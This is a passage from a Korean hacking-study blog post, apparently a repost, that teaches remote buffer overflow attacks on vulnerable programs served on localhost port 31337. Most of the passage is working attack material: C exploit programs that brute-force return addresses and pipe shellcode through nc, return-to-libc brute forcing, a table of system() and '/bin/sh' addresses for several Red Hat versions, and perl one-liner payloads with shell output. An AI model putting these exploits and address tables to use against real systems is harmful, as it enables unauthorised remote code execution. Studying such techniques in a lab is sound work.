char command[1200];
memset(spy, 'A', 1000); // 버퍼 초기화
memset(spy+128, '\x90', 1000); // RET 이후를 NOP으로 가득 채운다.
memcpy(spy+1000-strlen(shellcode), shellcode, strlen(shellcode));
// 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.
ret = (int *)0xc0000000;
while(1){
printf("%p\n", ret);
memcpy(spy+124, &ret, 4);
sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);
system(command);
ret = ret - 200; // 넉넉하게 800바이트씩 이동한다.
}
}
==========================================================================
이제 더욱 설레이는 마음으로 Exploit을 실행해보자.
=====================================
[root@ftz BOF]# ./ex
0xc0000000
0xbffffce0
uid=1000(guest) gid=1000(guest)
=====================================
성과가 엄청나다. 단 두 번만에 공격을 성공시켰다. 이 공격을 사용할 때의 주의할
점은 spy 변수의 크기를 너무 과하게 잡으면, 스택의 영역을 벗어나 0xc0000000 뒷
쪽의 커널을 건드려 공격이 성공하기도 전에 프로그램이 종료되는 수가 있다는
점이다. 대략 800 바이트의 spy 변수를 잡아주면 가장 무난하다.
이제 다음에 테스트해 볼 내용은 바로 버퍼의 크기가 매우 작을 때의 리모트 공격
이다. 취약 프로그램의 소스가 다음과 같다고 가정해보자.
======================================================
int main()
{
char buffer[8];
gets(buffer);
printf("당신이 입력한 문자열 : %s\n", buffer);
}
======================================================
버퍼의 크기가 매우 작음으로, 쉘코드를 주입할 공간이 없다. 하지만, 이에대한
답은 이미 나왔다. 바로 앞서 배웠던 "RET 뒷 쪽에 NOP 넣기" 기법을 사용하면 된다.
공격 과정과 결과는 앞서 했던 것과 동일함으로 생략하도록 하겠다. (Exploit에서
RET이 저장되는 위치와 변수로 들어갈 쓰레기 값의 크기만 수정하면 될 것이다.)
자, 다음 차례는 리모트 환경에서의 Return To Library 기법 활용법이다. 이런
공격 방식을 사용해야하는 경우는 거의 없겠지만, 가끔 wargame이나 hacking event
등에서 문제를 위해 출제되는 경우가 있다.
일단, 우리가 사용할 라이브러리는 system() 함수라고 가정한다. 그럼, 이 함수의
주소를 어떻게 찾아낼 것인가?
이 함수는 /lib/i686/libc-2.2.5.so 공유 라이브러리에 존재하며, 프로세스가 실행
될 때 보통 42000000~4212c000 사이의 주소에 적재된다. 그럼 과연 이 주소를 모두
샅샅이 검색하여 system() 함수의 주소를 찾아야할까? 아마도 아무런 힌트도 없는
상황이라면 이 방법이 정석이겠지만, 다음과 같은 사실을 안다면 매우 쉽게 system
함수의 주소를 찾아낼 수 있다. 그 사실은 바로 "각 리눅스 배포본들의 system
함수 주소는 동일하다" 이다. 즉, A라는 서버가 레드햇 8.0을 사용하고 있고, B라는
서버 역시 레드햇 8.0을 사용하고 있다면, A에서 조사된 system 함수의 주소가
B에서 조사된 system 함수의 주소와 동일하다는 말이다.
다음은 이 문서를 위하여 미리 조사한 각 배포본들의 system 함수 주소이다.
※ 각 배포본들의 system 함수 주소 모음 (차후 계속 업데이트 예정)
=========================
레드햇 6.2 : 0x4005aae0
레드햇 7.3 : 0x42049e54
레드햇 9.0 : 0x4203f2c0
=========================
데몬으로 작동 중인 취약 프로그램의 환경이 레드햇 버젼 몇인지는 알 수 없을
것이다. 따라서, 위의 값들을 하나씩 차례대로 대입해나가며 확인을 하도록 한다.
===========================================================================
[root@ftz BOF]# perl -e 'printf "A"x124; printf "\xe0\xaa\x05\x40"; printf
"\n"' | nc localhost 31337
[root@ftz BOF]# perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42"; printf
"\n"' | nc localhost 31337
sh: [?? command not found
[root@ftz BOF]#
===========================================================================
0x42049e54에서 command not found가 나타났다. 이로써 타겟의 환경이 레드햇
7.3임과 공유 라이브러리 내의 system 함수 위치를 알 수가 있다.
그럼 이제 필요한 것은 "/bin/bash", "/bin/sh", "bash", "sh" 등 쉘 명령을 의미
하는 문자열의 주소이다. 안타깝지만 이 문자열의 주소 역시 지금의 상황에서는
기가 막히게 찾아 내는 특별한 방법이 없다. 아무리 system() 함수의 주소를
알고있다 하더라도 인자로 들어갈 문자열의 주소를 BRUTE FORCE로 찾아내야하기
때문에 리모트 상에서 RTL 기법은 그다지 매리트가 있지 않다. (하지만, 뒤에서
설명되는 RTL 응용 기법에서는 얘기가 달라진다.)
RTL 기법을 공부한 경험이 있다면, 강제로 호출된 system() 함수의 인자가 return
address + 8 부분에 위치하게 된다는 사실을 알고 있을 것이다. 이 점을 감안하여
Brute Force 기능을 가진 Exploit을 구현해보자.
==========================================================================
#include <stdio.h>
int main()
{
int *arg;
char command[200];
arg = (int *)0xc0000000; // system 함수의 인자로 들어갈 주소 값.
while(1){
printf("&arg = %p\n", arg);
sprintf(command, "(printf \"id\\n\" | (perl -e 'printf \"sh\\0\\0\"x31; printf \"\\x54\\x9e\\x04\\x42AAAA\"; printf \"%s\\n\"';cat)) | nc localhost 31337", &arg);
system(command);
arg--; // 인자의 예상 주소를 4바이트씩 감소.
}
}
==========================================================================
sprintf() 부분이 조금 조잡해 보이지만, 다음과 같이 정리해서 보면 쉽게 이해가
갈 것이다.
◎ 정리
$ perl -e 'printf "sh\0\0"x31; printf "\x54\x9e\x04\x42AAAA"; printf "?\n"
◎ 분석
printf "sh\0\0"x31 : 쉘을 의미하는 sh 명령이다. 인자로 불러질 때 문자열의
끝을 인식하도록 하기 위해 NULL을 넣어주었고, 4바이트 단위를 맞추기 위해 또
한번의 NULL을 넣어주었다. 이것이 저장되는 부분은 취약 프로그램의 지역 변수
이며, 0xc0000000 주소에서 4바이트씩 감소시키다 보면 언젠가는 이 부분을 가리
켜서 쉘을 실행하게 될 것이다.
printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소이며, 리턴 어드레스를 덮어
쓰게 된다. 그 뒤의 AAAA는 GARBAGE 4바이트이다. 리턴 어드레스로부터 8바이트
뒷 쪽의 값을 system 함수의 인자로 사용하기 때문이다.
printf "?\n" : BRUTE FORCE로 구한 인자의 주소가 입력되는 부분이다. ? 부분에
주소 값이 저장된다.
이렇게 보니 확실히 쉽다. 참고로 앞쪽의 printf "id\n" 부분은 공격에 성공하여
쉘을 획득한 후, 화면에 아무것도 나타나지 않아 우리가 공격이 성공했는지를
알기 어렵기 때문에 id 명령의 결과가 출력되도록 한 것이다.
이제 이 Exploit을 실행시켜보자.
====================================
[root@ftz BOF]# ./ex
&arg = 0xc0000000
sh: AAAA: command not found
&arg = 0xbffffffc
&arg = 0xbffffff8
... 생략
sh: 000: command not found
&arg = 0xbfffff2c
&arg = 0xbfffff28
&arg = 0xbfffff24
&arg = 0xbfffff20
&arg = 0xbfffff1c
uid=1000(guest) gid=1000(guest)
(공격 성공)
====================================
약 1분도 채 안되서 0xbfffff1c에서 쉘 명령을 발견하였다. 그런데 얼핏 봐도 이
주소 영역가 취약 프로그램의 로컬 변수 영역은 아닌 것 같다. 과연 어떤 부분이길래
쉘 명령이 있는 것일까? GDB로 조사해보면.. 바로 "SHELL=/bin/bash" 즉, 환경
변수에서 /bin/bash 문자열을 찾아냈던 것이다. 따라서 Exploit string의 앞 쪽에
"sh\0\0"을 가득 매웠던 것은 의미가 없었다. 단, 만약 이 환경변수의 "/bin/bash"
문자열의 시작 주소가 4바이트 단위로 딱 떨어지지 않았었다면, 위처럼 쉽게 쉘이
뜨지 않았을 것이다. 따라서 변수에 특정 문자열이 들어가게 하는 것이 아주 필요가
없는 것도 아니다. 하지만, 4바이트가 아닌 1바이트 단위로 arg의 주소를 감소시켜
나갔다면 얘기는 또 달라진다. 1바이트 단위로 BRUTE FORCE를 진행하면 100% 환경
변수의 "/bin/bash"를 참조할 수 있기 때문이다. 이런 점들을 모두 감안하여 각자가
알아서 가장 합리적인 방법으로 공격을 시도하기 바란다.
◎ 단 한번에 RTL을 이용한 공격 성공시키기
앞서 진행한 공격 결과를 자세히 보면 신기한 점이 발견된다.
====================================
[root@ftz BOF]# ./ex
&arg = 0xc0000000
sh: AAAA: command not found
...
====================================
바로 주소가 0xc0000000일 때, 우리가 GARBAGE로 넣었던 AAAA가 튀어나온 것이다.
어째서 이러한 결과가 나타난 것일까? 일단, return address + 8 부분에 들어가게
되는 값을 생각해보자. 이 부분의 값은 sprintf(command, "...%s..."), &arg);
부분에 의하여 &arg의 값. 즉, 0xc0000000이 들어갈 것 같다. 하지만 조금 더 생각
해보면 0xc0000000이 BIG ENDIAN으로 변환되어 0x000000c0과 같이 반대로 적용
된다는 것을 알 수 있다. 그럼, 첫 바이트가 NULL(0x00)이기 때문에 결국 return
address + 8 부분에는 아무 것도 저장이 되지 않는다. 그리고, 그 대신 다음
이어지는 printf "\n" 부분에 의해서 엔터 키가 입력이 된다. 이제 취약 프로그램으로
이 문자열이 전송이 되고, 엔터인 \n은 문자열의 끝이었음을 의미함으로 자동으로
gets 함수에 의해 NULL로 변환 된다.
자, 그럼 과연 이 상황에서의 스택에 어떤 것들이 담기게 되는지 dumpcode를 이용하여
살펴보자. 다음은 SFP 직전까지만 덮도록 문자열을 보낸 것의 덤프 결과이다.
0xbffffaa0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh..
0xbffffab0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh..
0xbffffac0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh..
0xbffffad0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh..
0xbffffae0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh..
0xbffffaf0 73 68 00 00 73 68 00 00 73 fb ff bf 99 74 01 42 sh..sh..8....t.B
0xbffffb00 01 00 00 00 64 fb ff bf 6c fb ff bf fa 82 04 08 ....d...l.......
위에서 0xbffffaf0 라인의 가장 오른쪽에 있는 \x42017499가 바로 main 함수의 올바른
리턴 어드레스이다. 그리고 리턴 어드레스의 시작 주소에서부터 8바이트 떨어진 곳을
보면, \xbffffb64가 위치한다. 그리고 이 것은 argv[0]의 주소이다. 이제 다시 공격
하는 상황으로 돌아가서, return address + 8 부분을 지정해주지 않은 채, \n가
입력되고, \n은 0x00으로 변환되는 상황을 생각해보자.
그럼, 위 주소에서 0xbffffb00 부분에는 GARBAGE인 "AAAA"가 입력될 것이고, 바로
뒤의 \x64는 \n이 되었다가 최종적으로는 \x00이 될 것이다. 따라서, return address
+8의 값은 결국 \xbffffb00이 되어버린다. 그리고 그 부분에는? 그렇다. 바로 "AAAA"
가 있다. 그렇기 때문에 0xc0000000이 주소가 되었을 때 AAAA가 실행되었던 것이다.
이는 즉, 비단 0xc0000000 뿐만 아니라, 앞쪽 1바이트가 NULL이되는 모든 주소일
때도 같은 상황이 나타나며, 아예 이 주소 값을 지정해주지 않아도 같은 상황이 나타
날 것이다.
단, 위에서 AAAA가 위치하게 되는 0xbfffff00 주소 값이 시스템에 따라 항상 일정
한 것이 아니다. 즉, 만약 AAAA가 위치하게 되는 주소가 0xbfffff10이라면, return
address+8 부분의 첫 바이트가 NULL로 바뀌어봤자 전혀 소용이 없다. 따라서 이
공격은 AAAA가 위치하는 부분의 주소가 00으로 끝나는 환경에서만 적용된다는 단점이
있다. 그러나, 이 특징을 잘 이해하고, 여러가지 공격 테스트를 직접 경험하여
노하우를 쌓게 되면, return address+4 부분의 값이 보통 어떤 것이 된다는 것을
예측할 수 있게 될 것이다. 아마도 보통 0xbffffb00, 0xbffffb10, 0xbffffb20,
... 0xbffffbf0, 이 16개 중의 하나가 될 것이다. 마지막 1바이트가 무조건 1이
되는 이유는 리턴 어드레스가 16바이트 단위로 정렬되어 dump했을 때 가장 뒷
부분에 위치하기 때문이다. 가장 뒷 부분은 0x???????f로 끝나게 됨으로 그 다음
바이트이며, AAAA가 위치했던 주소의 끝 바이트는 자연스럽게 0이 되는 것이다.
이 특징을 파악하였다면, 최대 16번 이내에 RTL 기법을 성공시킬 수 있음을 의미
한다. 텍스트 만으로는 이해가 힘들 것이니 더욱 자세한 내용은 직접 테스트를
해보며 학습하기 바란다.
◎ 단 한번에 RTL을 이용한 공격 성공시키기 2
이번엔 또 다른 방법으로 RTL 공격을 단 한번에 성공시키는 방법이다. 앞서 우리는
OS의 버젼만 동일하다면, 라이브러리 내의 system() 함수 주소 역시 동일하다는
것을 배웠다. 그럼, 라이브러리 내에 존재하는 "/bin/sh"라는 문자열의 위치 역시
항상 일정하지 않을까? 아마도 적재되는 라이브러리의 내용은 항상 정적임으로
system() 함수의 주소와 마찬가지로 일정한 주소 값에 위치하게 될 것이 확실하다.
그럼, 과연 라이브러리 내에 "/bin/sh"라는 문자열이 존재할까? 존재할 확률은 매우
크다. 일단, "/bin/sh"라는 문자열이 워낙 빈도있게 사용되는 문자열인데다가,
system() 등의 쉘을 호출하는 함수들이 아마도 내부적으로 "/bin/sh"을 필요로 할
것이기 때문이다. 그럼, 다음과 같은 간단한 프로그램을 구현하여 라이브러리 내에서
"/bin/sh"라는 문자열을 찾아보도록 하자.
===========================================================
int main()
{
char *pointer;
pointer = (char *)0x42000000;
while(1){
pointer++;
if(strncmp(pointer, "/bin/sh", 7)==0){
printf("Found : %p\n", pointer);
exit(0);
}
}
}
===========================================================
보다시피, 0x420000000에서 1바이트씩 증가해가며, "/bin/sh"라는 문자열을 검색한다.
그리고 만약 찾았을 경우 그 주소를 출력해준다. 위 프로그램을 실행해보자.
======================================
[root@ftz BOF]# gcc -o find find.c
[root@ftz BOF]# ./find
Found : 0x421273f3
[root@ftz BOF]#
======================================
위에 보이는 0x421273f3 주소에서 "/bin/sh"라는 문자열을 발견하였다. 이 주소 공간은
420000000 ~ 4212c000 사이의 값임으로, libc-2.2.5.so 공유 라이브러리 내의 값이라는
것을 /proc/self/maps 파일을 통해 유추할 수 있다.
자, 이제 각 배포본에 해당하는 system() 함수 주소를 수집했던 것처럼 "/bin/sh"
주소의 값 역시 정리해보자.
※ 각 배포본들의 system, "/bin/sh" 주소 모음 (차후 계속 업데이트 예정)
======================================
배포본 &system &"/bin/sh"
--------------------------------------
레드햇 6.2 : 0x4005aae0 0x400fdff9
레드햇 7.3 : 0x42049e54 0x421273f3
레드햇 9.0 : 0x4203f2c0 0x42127ea4
======================================
이제 이 값들을 토대로 취약 프로그램에 대한 리모트 공격을 한번에 성공시켜보자.
◎ 취약 프로그램
======================================================
int main()
{
char buffer[100];
gets(buffer);
printf("당신이 입력한 문자열 : %s\n", buffer);
}
======================================================
◎ 공격
========================================================================
[root@ftz BOF]# (perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42AAAA";
printf "\xf3\x73\x12\x42"; printf "\n"';cat) | nc localhost 31337
id
uid=1000(guest) gid=1000(guest)
(공격 성공)
========================================================================
◎ 공격 STRING 분석
- printf "A"x124 : 버퍼와 SFP를 덮을 쓰레기 값
- printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소 +
쓰레기 4바이트(ret + 8에 인자가 위치함으로)
- printf "\xf3\x73\x12\x42" : "/bin/sh"의 주소
- printf "\n" : 엔터 (gets에 대한 입력의 끝을 알림)
이제 공격 과정이 너무나도 간단해졌다. 위 주소 모음을 수첩에 적어놓고 다니면
버퍼 오버플로우 공격은 따논 당상이 된다. 참고로 위 주소 값은 로컬 환경에서도
그대로 적용되며, 만약 위 주소 값과 실제 값이 다른 상황이라고 하더라도 로컬에서
직접 주소를 구하면 되니 걱정할 필요가 없다.
이로써 총 7가지 방법으로 리모트 오버플로우 공격을 시도해 보았다. 이 것으로
문서를 마치도록 하고, 조만간 Xinetd에 연결되지 않고, 독립적으로 구현된
네트워크 프로그램에 대한 공격 테스트를 이번에 한 것과 같은 순서로 설명하여
올리도록 하겠다.
'기타 > 해킹 공부' 카테고리의 다른 글
게임 해킹 (0) | 2009.08.10 |
---|---|
멋진 무료 스캐너(w3af) (0) | 2009.08.10 |
구글 해킹 Goolag Scanner Version: 1.0.0.42 (0) | 2009.05.22 |
[펌]구글 해킹 Goolag : 구글해킹보조 GUI 프로그램 (1) | 2009.05.21 |
Google 검색 옵션 (0) | 2009.05.21 |